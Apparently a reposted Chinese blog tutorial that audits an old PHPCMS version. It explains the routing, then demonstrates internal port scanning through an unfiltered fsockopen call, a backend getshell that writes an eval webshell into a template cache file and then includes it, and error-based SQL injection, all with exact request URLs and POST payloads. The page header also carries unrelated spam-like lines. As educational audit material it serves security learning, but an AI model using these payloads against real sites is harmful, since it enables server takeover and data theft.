本實驗僅用于信息防御教學(xué),切勿用于它用途
公眾號:XG小剛phpcms最近在學(xué)習(xí)php代碼審計,各種復(fù)現(xiàn)、各種測試搞得我頭昏腦脹。網(wǎng)上很多代碼審計的復(fù)現(xiàn)博客看似講的很清楚,最后" />

国产成人精品无码青草_亚洲国产美女精品久久久久∴_欧美人与鲁交大毛片免费_国产果冻豆传媒麻婆精东

15158846557 在線咨詢 在線咨詢
15158846557 在線咨詢
所在位置: 首頁 > 營銷資訊 > 網(wǎng)站運營 > 代碼審計-phpcms

代碼審計-phpcms

時間:2023-08-05 01:54:02 | 來源:網(wǎng)站運營

時間:2023-08-05 01:54:02 來源:網(wǎng)站運營

代碼審計-phpcms:
一位苦于信息安全的萌新小白帽
本實驗僅用于信息防御教學(xué),切勿用于它用途
公眾號:XG小剛

phpcms

最近在學(xué)習(xí)php代碼審計,各種復(fù)現(xiàn)、各種測試搞得我頭昏腦脹。網(wǎng)上很多代碼審計的復(fù)現(xiàn)博客看似講的很清楚,最后自己也復(fù)現(xiàn)出來了,但是很多小白(比如我)以為懂了這個漏洞,但實際連參數(shù)都不知道怎么傳進去的。

跟著反向追蹤傳參過程是很快速高效,但遇到那種框架寫的cms就懵逼了,找不到被利用的點,找不到為啥會被傳進參數(shù)來。。。

所以,該來的還是要來的,正向通讀代碼。

(代碼審計當(dāng)然要提前搭建一個簡單好用的環(huán)境、還要有個趁手的編輯器)

低版本phpcms

phpcms雖然已經(jīng)停止維護了,但不妨礙我們拿來學(xué)習(xí)審計,小白最好還是找個簡單、低版本的開始審計。

通讀代碼

目錄結(jié)構(gòu)

打開代碼,首先觀察目錄結(jié)構(gòu)

可以看到,根目錄下有四個php文件(稱之為入口文件),admin.php、api.php、index.php、plugin.php,四個文件什么功能一目了然啊。

然后是好幾個文件夾

api下存放api接口文件
caches下存放緩存、備份文件等等,
html下是空的暫時不提
phpcms下存放大部分的模塊、模板、插件等等,
phpsso_server是一個安裝過程選擇的功能,暫時不管,
static下存放各種css,js靜態(tài)文件
uploadfile顧名思義存放上傳的文件。

網(wǎng)站入口

正常來說inde.php就是整個網(wǎng)站的入口,直接看index.php做了什么

先定義了一個常量,(在審計過程中,會遇到很多常量,我們可以使用getdefinedconstant函數(shù)將所有常量打印出來,然后用哪個查哪個)

13行包含了/pnpcms/base.php文件,那過去看看

可以看到這是框架的入口,定義了許多常量,然后29-33行加載了兩個函數(shù)庫和一個配置文件system,使用了自動加載函數(shù)autoloadfunc()

先不看加載了什么函數(shù)庫,先去看看怎么加載的

在62行往后,定義了pc_base類,然后通讀一下這個類的各種函數(shù)

返回頭看上面加載的幾個函數(shù)庫

加載global使用的pcbase類的loadsys_func函數(shù),找到函數(shù)定義位置,global傳參到$func

141行,這個函數(shù)引用了自身類的loadfunc函數(shù),global傳參到$func

閱讀函數(shù),可以了解到212行構(gòu)造了路徑$path=libs/functions/global.func.php

215行判斷文件是否存在,并包含該文件。

發(fā)現(xiàn)是加載了公共函數(shù)庫,里面基本是cms所用到各種公共函數(shù),通讀一下,看看各種過濾函數(shù),然后特別注意各種可以用的函數(shù)。

同樣看看extention.func.php,結(jié)果是自定義函數(shù)庫沒東西

查看自動加載函數(shù)

找到autoloadfunc()定義位置,

149行使用了autoload_func

閱讀發(fā)現(xiàn)自動包含libs/functions/autoload/下的所有.func.php文件,找到文件通讀代碼。

跳回index.php

閱讀完加載的函數(shù)庫后,發(fā)現(xiàn)一個問題,網(wǎng)站咋加載呢。

大意了啊,回到index.php,發(fā)現(xiàn)使用了creat_app()函數(shù)

再次回去,看看是怎么加載網(wǎng)站的,使用了loadsysclass函數(shù)傳入?yún)?shù)application

77行使用了loadclass函數(shù)

經(jīng)幾個邏輯判斷,構(gòu)造路徑,然后包含了phpcms/libs/classes/application.class.php文件

在下面發(fā)現(xiàn)實例化了一個類$classes[$key] = new $name; $name傳參是application

哪來的這個類,請看phpcms/libs/classes/application.class.php

參數(shù)傳遞

打開文件,定義了一個類appliaction

而且該類被上面函數(shù)實例化,直接觸發(fā)了__construct()魔術(shù)方法

同樣使用loadsysclass加載了param.class.php參數(shù)處理類文件,

并實例化param類,使用param類的三個函數(shù)

三個方法通過GET或者POST傳入了三個參數(shù)m,c,a

m是模型,c是控制器,a是事件

傳入的參數(shù)在application類中定義為三個常量,并使用init()進行初始化

閱讀appliction類發(fā)現(xiàn),該類通過m,c,a三個參數(shù)來加載整個網(wǎng)站的應(yīng)用

m是加載phpcms/modules/目錄下的模塊,也就是文件夾

c是加載模塊下的控制器,也就是php文件

a是控制器里面的事件,也就是php文件里面的函數(shù)

比如:想使用admin模塊下database.php控制器的export()函數(shù)

傳參:index.php?m=admin&c=database&a=export

知道了參數(shù)的傳參方式,想反向找利用點就簡單多了。

開始審計

知道了m,c,a參數(shù)的含義,phpcms/modules/下的函數(shù)就可以輕松利用了

端口探測

phpcms/modules/search/searchadmin.php文件內(nèi)有個publictest_sphinx()函數(shù)

105行發(fā)現(xiàn)一個fsockopen()函數(shù),用來打開一個網(wǎng)絡(luò)連接或者一個Unix套接字連接 ,post傳入的sphinxhost和sphinxport沒有進行過濾

sphinxhost是ip地址、sphinxport是端口,這樣我們可以通過這個函數(shù)進行內(nèi)網(wǎng)端口探測

http://192.168.1.1/index.php?m=search&c=search_admin&a=public_test_sphinxpost:sphinxhost=127.0.0.1&sphinxport=3306經(jīng)測試,當(dāng)內(nèi)網(wǎng)端口存在時返回1

不存在時返回10060




后臺Getshell

phpcms/modules/dbsource/data.php文件里有個add()函數(shù)

在82行有個fileputcontent()函數(shù),將$str寫入caches/caches_template/dbsource/$id.php文件當(dāng)中

追蹤$str來源,原來是查詢了數(shù)據(jù)庫的$id行template的值

往上看代碼,62行發(fā)現(xiàn)template值可以post控制,其他的name,type,dis_type,cache,num都由上面post傳入,

70行將內(nèi)容插入了數(shù)據(jù)庫當(dāng)中。記住dis_type=3后面有用

既然參數(shù)都可控,那就post傳入所需要的值,template傳入一句話木馬,使邏輯能跑到fileputcontents函數(shù)。

192.168.1.1/index.php?m=dbsource&c=data&a=add&pc_hash=saLcKRpost:dosubmit=1&name=666&dis_type=3&type=1&data=select 1&template=<?php @eval($_GET[xg]);?>&num=1&cache=2這里測試發(fā)現(xiàn)需要登錄后臺,那就算個后臺getshell了,登錄后臺給了個pc_hash=saLcKR

結(jié)果發(fā)現(xiàn)沒什么響應(yīng)

不急,去caches/caches_template/dbsource/下發(fā)現(xiàn)多了個文件39.php,成功寫入了一句話木馬。

這里雖然成功寫入了一句話,但發(fā)現(xiàn)前面有個限制

如果沒定義IN_PHPCMS常量,就exit退出,說明不能直接訪問,這不白傳了嗎。

但仔細思考,不能直接訪問,那就說明這個文件是用來被包含的。

那就直接搜誰包含此文件,但這個文件名是動態(tài)生成的,所以我們得搜他所在的目錄dbsource

發(fā)現(xiàn)全局函數(shù)庫中有個template_url()函數(shù)構(gòu)造了我們需要被引用的路徑

邏輯就是傳入id,判斷文件是否存在,不存在就構(gòu)建,存在就返回路徑

返回的路徑有了,那就看看這個函數(shù)被誰引用了

phpcms/modules/dbsource/call.php的_format函數(shù)中使用了此方法

當(dāng)$type為3時,65行進行文件包含。既然文件包含出來了,說明可以利用

繼續(xù)看看_format函數(shù)被誰使用,由于是private定義,所以只能在此文件內(nèi)搜索

然后在get()函數(shù)的39行發(fā)現(xiàn)使用的_format()函數(shù)

id是通過我們GET傳參控制,$str與我們無關(guān),關(guān)鍵是$data['dis_type']要等于3

$data哪來的呢,發(fā)現(xiàn)11行進行了sql查詢,正是我們剛開始寫一句話時候的傳入的dis_type=3

那利用直接一目了然,只傳參$id就可

192.168.1.1/index.php?m=dbsource&c=call&a=get&id=39&xg=phpinfo();起飛

SQL注入

其實在phpcms/modules/dbsource/data.php文件add()函數(shù)里

在第33行有個參數(shù)data,為自定義sql

在我們測試上面getshell過程中發(fā)現(xiàn),如果data隨便傳入一個數(shù)據(jù)1233

進行包含一句話文件時候,會出現(xiàn)SQL語句報錯,這意味著這里執(zhí)行了SQL語句。

那漏洞來了,我們在data傳入sql語句呢?先來個報錯注入

192.168.1.1/index.php?m=dbsource&c=data&a=add&pc_hash=saLcKRpost:dosubmit=1&name=667&dis_type=3&type=1&data=select 1 and updatexml(1,concat(1,user(),0x7e,database(),0x7e,version()),1)&template=<?php @eval($_GET[xg]);?>&num=1&cache=2發(fā)現(xiàn)依舊在caches/caches_template/dbsource/下生成了40.php

192.168.1.1/index.php?m=dbsource&c=call&a=get&id=40起飛

關(guān)鍵詞:

74
73
25
news

版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。

為了最佳展示效果,本站不支持IE9及以下版本的瀏覽器,建議您使用谷歌Chrome瀏覽器。 點擊下載Chrome瀏覽器
關(guān)閉